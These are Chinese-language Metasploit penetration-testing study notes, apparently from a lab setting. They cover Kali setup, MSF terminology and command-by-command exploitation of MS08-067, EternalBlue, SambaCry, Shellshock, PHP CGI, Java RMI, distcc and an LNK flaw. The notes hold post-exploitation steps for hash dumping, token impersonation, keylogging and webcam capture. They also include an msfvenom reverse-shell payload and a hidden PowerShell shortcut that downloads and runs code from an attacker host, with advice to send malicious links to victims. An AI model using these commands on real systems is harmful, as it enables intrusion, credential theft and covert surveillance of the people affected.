kail of MSF real penetration testing
Note: This is my import notes from xmind over, layout may not be so good, I will finish late, have any comments or questions you can leave private messages
Article directory
- kail of MSF real penetration testing
- kail questions and msf acquaintance
- What is MSF
- Terminology
- Basic use
- Directory Structure
- How to Update
- MSF basic commands
- MSF penetration testing a
- MSF penetration testing two
- MSF penetration testing three
- Late attacks Use MSF (4 to 6 penetration test)
- MSF penetration testing seven
- MSF penetration testing eight
- MSF penetration testing nine
- MSF penetration testing ten
- payload1
- payload2
kail questions and msf acquaintance
Kali问题解答
kail桌面超时配置延迟问题
想不让他自动休眠,setting,电源里面调节即可
不支持win10拖入文件问题
1、打开搜索应用程序的界面
第一步:开启kail 远程 ssh,开启办法如下:
1、配置 SSH 参数
修改 sshd_config 文件,命令为:vi /etc/ssh/sshd_config
将#PasswordAuthentication no 的注释去掉,并且将 NO 修改为 YES //kali中默认是 yes
将 PermitRootLogin without-password 修改为 PermitRootLogin yes
然后,保存,退出 vi
第二步:启动 SSH 服务
查看 SSH 服务状态是否正常运行
命令为:/etc/init.d/ssh start或者service ssh start
第三步:设置系统自启动 SSH 服务
update-rc.d ssh enable //系统自启动 SSH 服务
update-rc.d ssh disabled // 关闭系统自启动 SSH 服务
第四步:点这里下载 https://www.filezilla.cn/download/client
下载 FILEZILLA 64 位 绿色版 打开软件输入 kail 系统 ip 地址、帐号、密码连接
备用网站http://down-ww3.newasp.net/pcdown/soft/soft1/filezilla_win64.zip
root密码123456
What is MSF
Metasploit它是一个漏洞框架,是本身附带几百个已知软件漏洞的专业漏洞攻击工具
安装要求
硬盘:MSF会使用一些大型文件,分区是一定不要用FAT32类型分区,建议NTFS,Ext3等
内存:2GB
处理器:500mhz
网络设备
软件
一台KALI,一台测试系统
Terminology
渗透攻击Exploit
指攻击者利用系统,应用,或者服务,所进行的攻击行为
攻击载荷Paylot
指我们期望目标在被渗透攻击后执行的代码,在MSF可以自由选择,传送和植入
溢出代码Shellcode
是在渗透攻击时作为攻击载荷运行的一组机器指令,通常用汇编语言编写,大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供命令行shell或者Meterpreter shell。
模块Module
MSF中的模块指的是MSF框架中所使用的一段软件代码组件,例如渗透攻击模块,辅助模块
监听器Listener
等待连入网络连接的组件,例如,在目标主机被攻击后,它可能会通过互联网连回到攻击主机上
MSF完美升级及目录结构解读
MSFconsole进入MSF
exploits渗透攻击
auxiliary辅助性脚本
用于扫描,嗅探,破解,注入,漏洞挖掘
paylot攻击载荷
encoders编码
nops
IDS IPS
用于绕过
Basic use
查找某一个漏洞用search+号码
输出结果为需要的漏洞与进入对应的模块
use+模块进入
查看漏洞的利用的相关信息用ifo
作者信息
可攻击的系统
如何设置漏洞set
Directory Structure
漏洞框架地址
/usr/share/metasploit-framework/
Auxiliary
辅助性脚本
Encoders
各种编码工具,用于躲过检测系统和过滤系统
Exploit
包含了exp,0day,各种漏洞利用脚本,主要攻击代码都存在这里
命名规则 系统/服务/模块 在使用exp时可以按照这个命名方法找
Nops
用于绕过IDS IPS,生成脚本
Payloads
命名规则相同于exploit
payloads与exploits区别
payloads主要在目标及执行
exploits在本地机执行作用与目标机
Post
这个目录存放MSF中exploits执行成功之后,向目标机发送的一些功能性指令,比如提权,获取hash
Data
存放Meterpreter,passiveX,Vnc,dlls等工具
用户接口代码
Msfweb和一些其他模块用到的数据文件
Plugins
模块用户需要使用load来加载,提供插件,例如数据库连接插件
Scripts
这个目录下文件大都是Meterpreter这个模块利用的脚本
tools
脚本与工具
How to Update
一、替换 yum 源,把 kail 原有更新源#号注释掉,vi/etc/apt/sources.list
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
二、添加数字签名
wget archive.kali.org/archive-key.asc //下载签名
apt-key add archive-key.asc //安装签名
注:如果添加数字签名还提示无法安装可删除原有 msf
root@kali:~# apt remove metasploit-framework
注:卸载过程中无法获得锁 /var/cache/apt/archives/lock - open (11: 资源暂时不可用)
无法对目录 /var/cache/apt/archives/ 加锁
root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁
root@kali:~# sudo rm /var/cache/apt/archives/
三、安装 msf 框架
root@bogon:~# apt-get update
root@kali:~# apt-get install metasploit-framework //安装 msf 框架
root@kali:~#msfconsole //发现有提示数据库未启动,退出 msf 启动数据库
root@kali:~# systemctl start postgresql //启动数据库
root@kali:~# systemctl enable postgresql //允许开机自启动
root@kali:~# msfdb init //构建数据库缓存
root@kali:~#msfconsole
Exploits模块和Payloads模块
Exploits模块
RHOST:目标主机IP
RPORT:目标主机连接端口
LHOST:攻击者IP
LPORT:攻击者端口
Payload:有效的荷载,成功后返回shell
命名 系统/服务/端口
Payloads模块
命名 系统/类型/名称
类型命名规划
shell上传一个shell
dllinject注入一个dll到进程
patchup***修补一个漏洞
upexec上传并执行一个文件
是在使用一个模块之后再去使用的。
高级的 payload
meterpreter
vncinject
passive
名称命名规划
shell_find_tag:在一个已建立的连接上创建一个 shell。
shell_reverse_tcp:反向连接到攻击者主机幵创建一个 shell。
bind_tcp:监听一个 tcp 连接。
reverse_tcp:反向建立 tcp 连接。
reverse_http:通过 HTTP 隧道通信幵创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于 IPV6。
xxx_nonx_tcp:no execute 或 win7(NX 是应用在 CPU 的一种可以防止缓冲区溢出的技术)。
xxx_ord_tcp:有序 payload。
xxx_tcp_allports:在所有可能的端口。
MSF basic commands
用?可以浏览所有命令
msfconsole
控制台
search
搜索命令或模块
back
返回
info
查看模块信息
check
检测
banner
显示MSF相关信息
connect+网址+端口
连接一个主机
exit/quit
退出控制台
irb
脚本模式
jobs
显示并管理作业
kill
结束作业
loadpath
加载一个模块路径
load
加载一个插件
resource
运行储存一个文件中的命令
route
查看一个会话路有消息
save
保存动作
set
给变量复制
show
显示给所有类型的模块
setg
把一个赋值给全局变量
例如set设置IP,就会用到其他共计模块的RHOST中
sleep
在限定的秒数内什么也不做
unload
卸载
unset
解出一个或者多个变量
unsetg
解出一个或者多个全局变量
version
显示MSF和控制台库版本
MSF penetration testing a
网络服务器攻击渗透MS08-067
用到靶机WinXPen Service Pack3
执行msfconsole命令
搜索ms08_067,可看到可利用的模块
use进入模块
show potions看需要的设置,只需要设置攻击的IP地址 set RHOST
info可查看可以用于的系统版本
check检测是否存在漏洞
exploit或run
查看攻击效果
session-i有会话为成功
MSF penetration testing two
浏览器攻击渗透MS10-018
用到靶机WinXPen Service Pack3
执行msfconsole命令
搜索ms10_018,可看到可利用的模块
use进入模块behaviors
show potions看需要的设置,设置攻击的IP地址 set RHOST 部署者自己搭建的ip set SRVHOST
设置一个payload正向连接shell,set payload windows/meterpreter/bind_tcp
设置端口set LPORT
run
制作出链接发给受害者
session-i +选择进入的电脑
shell登录
就可以操作他人电脑了
ctrl+c退出
search ie_可以查看一些IE浏览器漏洞
应用软件格式渗透,利用word去渗透(MS10-087)
用到靶机WinXPen Service Pack3
执行msfconsole命令
搜索ms10_087,可看到可利用的模块
use进入模块behaviors
show potions看需要的设置,需要设置文件名和paylod
这里payload调用一个执行文件 set payload windows/exec(更换payload的模式)
执行计算器set CMD cale.exe
run,生成一个文件
在靶机执行这个文件
MSF penetration testing three
网络服务器攻击渗透测试MS17-010(永恒之蓝,比特币勒索病毒)
win7
执行msfconsole
搜索search ms17_010
找到enternalblue
use进入模块
show option查看设置
RHOSTS
LHOST
payload
win7 大部分64位
反向链接 set payload windows/x64/meterpreter/revers_tcp
发送攻击代码后,用这个漏洞向对方主机发送payload,当对方有漏洞时,就会反向链接
run
进入meterpreter模式
shell就可以登录对方系统
Late attacks Use MSF (4 to 6 penetration test)
上传文件到Windows主机
upload - r可以递归上传目录和文件
upload - r/源目录/文件.exe 目标目录c:\\
注意Windows路径要双斜线
下载文件windows主机上面的文件
download文件 下载到的目标路径
download -f 下载整个子目录和文件
执行exe文件
execute -f 路径+.exe文件
查看是否成功用任务管理器去看
从MSF运行的文件都是SYSTEM高权限运行
-H不可见 -i交互
创建CMD新通道
如果你想在目标主机上执行命令提示符
execute -f cmd-c
显示进程
ps
获取目标主机CMD
shell
获取admin权限,可提升到本地系统权限
getsystem
使用Hashdump转储所有hash值(获取不到明文密码时使用)
可以用meterpreter来dump目标主机当前系统账户密码,转存的内容是NTML哈希格式,可以后期破解
命令hashdump
输出的每一行内容格式如下 Username:SID:LM hash:NTLM hash:::
NTLM 在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
使用 Credcollect 转储 hash 值
还有一个类似的脚本叫 credential_collector,也可以收集目标主机的 tokens
命令run credcollect
端口转发(对方主机在内网情况下)
通过对方80端口进入到内网
命令portfwd
可以攻击本来无法直接访问的目标主机
portfwd add -l 本机端口 -p (3389)内网端口 ip地址
删除端口转发
命令:portfwd delete -l 本机端口 -p连接的端口 -r 目标ip
删除所有端口转发的记录
portfwd flush
显示所有端口转发记录
命令portfwd list
查找
命令search
例如搜索主机上所有txt文件search -f *.txt
获取用户 ID
getuid 命令会显示主机上运行 meterpreter 服务的用户
获取系统信息
sysinfo 命令会显示系统名,操作系统,架构和语言等。
模拟任意用户(token 操作,使用之前要有一台机器的权限)
于攻击像微软活动目录这样的分布式系统非常有帮助
incognito 最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户
tokens. This application was later integrated into the metasploit, and eventually integrated into the meterpreter in
使用如下:
在 meterpreter 会话中加载这个模块非常简单,只要输入 use incognito 命令即可
1. use incognito
输入 list_tokens -u 来显示所有有效的 tokens
2. list_tokens -u
可以看到域管理员
本地用户
网络权限
SYSTEM权限
然后我们需要模拟某个 token 来获取其权限。还有注意,如果成功模拟了一个 token
3. impersonate_token “域管理员权限”
我们可以使用 getuid 命令来检查当前用户 ID
webcam摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
timestomp(需要两个未被占用的进程)
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将 1.txt 的时间戳复制给 2.txt
查看时间 dir c://
enable_rdp脚本进行一些操作
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将 3389 端口转发到 6662
子主题 4
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
开启 rdp 是通过 reg 修改注册表
添加用户是调用 cmd.exe 通过 net user 添加;
端口转发是利用的 portfwd 命令
键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
其他
MSF penetration testing seven
samba服务漏洞入侵Linux
CVE-2017-7494
Samba是在Linux和unix系统上实现SMB协议的一个软件,由服务器以及客户端程序构成,对应端口139,445等
影响版本:漏洞影响了 Samba 3.5.0 之后的版本,不包括 4.6.4/4.5.10/4.4.14
查看 samba 版本并打开 samba 配置文件添加以下配置
vi /etc/samba/smb.conf
与/tmp/public目录配置一下共享
:wp保存
对文件创建一个共享目录
root@kali:~# mkdir /tmp/public
修改读写执行权限
root@kali:~# chmod 777 /tmp/public
以上是SambaCry漏洞利用前提,一定要有一个共享目录,这样攻击者可以在共享目录传递攻击代码并且执行,获得Root权限,控制肉鸡
重启Samba
root@kali:~# /etc/init.d/samba restart
查看 samba 进程
root@kali:~# ps aux | grep samba
查看 samba 端口状态(采用 139 和 445 端口)
root@kali:~# netstat -tnlp samba
更新 MSF 后使用"exploit/linux/samba/is_known_pipename"利用模块,设置 rhost 后直接 exploit 即可得到 shell(有时版本需要设置ID=3)
找最新的漏洞
入侵成功 可进行操作
samba 低版本漏洞(比较少)
实验环境MSF提供的漏洞环境
首先要扫描目标主机上开放的端口和服务,用 nmap,命令如下:
nmap -sS -Pn -A 192.168.0.142
2、发现主机上开放的 139,445 端口之后,说明该主机有可能存在 samba 服务进程溢出漏洞,尝试通过该端口建立一个 meterpreter 会话,需要用到 metasploit.
3、打开 metasploit 之后需要先判断 samba 的版本,命令如下:
msf> search scanner/samba
4、然后使用如下命令来定义要扫描 samba 的版本所用到的 exploits 参数。
msf> use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.0.102
这条命令定义将要扫描 samba 版本的进程主机的 IP 地址
exploit
开始利用
msf> use exploit/multi/samba/usermap_script
这是攻击模块,上面的是扫描模块
msf exploit(usermap_script) > set RHOST 192.168.0.102
msf exploit(usermap_script) > exploit
MSF penetration testing eight
Bash Shellshock CVE-2014-6271(破壳漏洞)
Shellshock 的原理是刟用了 Bash 在导入环境变量凼数时候的漏洞,启动 Bash 的时候,
它不但会导入这个函数,而也会把函数定义后面的命令执行。在有些 CGI 脚本的设计中,
数据是通过环境变量来传递的,这样就给了数据提供者利用 Shellshock 漏洞的机会。
简单来说就是由于服务器的 cgi 脚本调用了 bash 命令,由于 bash 版本过低,攻击者把有
害数据写入环境变量,传到服务器端,触发服务器运行 Bash 脚本,完成攻击。
实验环境靶机metasploitable2和攻击机kali
要利用此漏洞,需要在 cgi-bin 目录中有一个可执行脚本。本次实验一个简单的输出“hello world”脚本即可
进入到靶机的/usr/lib/cgi-bin/目录下,输入以下
创建脚本sudo nano hello.sh
输入正确的密码,然后对 hello.sh 脚本进行编辑
#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"
保存好后,赋予脚本可执行权限,使用 chmod 命令:
sudo chmod 755 hello.sh
验证一下,通过浏览器访问该脚本,可以看到脚本成功执行。
准备攻击
终端输入 msfconsole 来启动 metasploit。
search 命令来搜索 exploits。输入 shellshock,就能找到apache_mod_cgi_bash_env_exec 模块,复制模块路径,use进入
options来查看模块的各种设置
设置进程 IP 地址 rhost 和脚本文件路径 targeturi
set rhosts+Ip
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello.sh
本地监听地址 set LHOST
需要选择一个 payload 这里我们选择一个反向 TCP shell 就可以了
set payload linux / x86 / shell / reverse_tcp
getshell
check查看是否有漏洞
exploit发动攻击,得到shell会话
whoami
id查看用户信息
PHP CGI漏洞利用
用phpinfo去看对方php版本服务器版本是否支持CGI,ServerAPI一行中,是服务器中间件一个扩展功能,留言板功能可能用到
search cve:2012-1823
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > show options
msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102
rhost => 192.168.0.102
msf exploit(php_cgi_arg_injection) > exploit
MSF penetration testing nine
Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞
nmap-p0-65535 IP查看1099端口是否开启
use exploit/multi/misc/java_rmi_server
set RHOST IP
exploit
shell(进入 meterpreter 时执行)
java cve-2013-0422
use exploit/multi/browser/java_jre17_jmxbean
Distcc后门漏洞
Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 Xcode 1.5 版本及其他版本的 distcc 2.x 版本配置对于服务器端口的访问不限制
启动metasploit
use exploit/unix/misc/distcc_exec
set RHOST IP
exploit
id 查看权限 uname -a 验证
MSF penetration testing ten
Druby(MSF使用的语言).rb
启动 metasploit
发现 8787 Druby 端口
search drb 搜索 drb 相关漏洞
use exploit/linux/misc/drb_remote_codeexec
set URL druby:IP:8787 ,设置目标 druby 链接
exploit
id,uname -a
“震网三代” LNK 文件远程代码执行漏洞(CVE-2017-8464)
当 Windows 系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过 U 盘、网络共享等途径触发漏洞
payload1
msfconsole
search 2017_8464
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118(你的 IP)
exploit
之后会在/root/.msf4/local 目录下生成我们的利用文件
注意:kali2.0 下无法直接访问该文件夹(快捷方式),可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1 下
cp -r /root/.msf4/local/ /root/1
set LHOST 192.168.10.118 (你的 IP 地址)
run
在msf中进行监听
payload2
利用 Powershell 快捷键
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 -f psh-reflection>/opt/search.ps1
(这个工具可以直接生成一个木马)
可以绕过一些检测
然后将/opt/目录下的 search.ps1 文件移动到/var/www/html/下
随后打开 Apache 服务
service apache2 start
访问 web 下的 ps1 文件
创建一个快捷方式
快捷方式指向ps1文件
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.10.118/search.ps1');test.ps1"
当别人执行了这个快捷方式之后,就相当于访问了这个地址
到本机上配置监听
Shortcut Downloader
Windows 搜索远程命令执行漏洞(CVE-2017-8543)
当 Windows 搜索处理内存中的对象时,存在远程执行代码漏洞
主要用攻击模块做攻击,辅助模块用第三方代替,不建议使用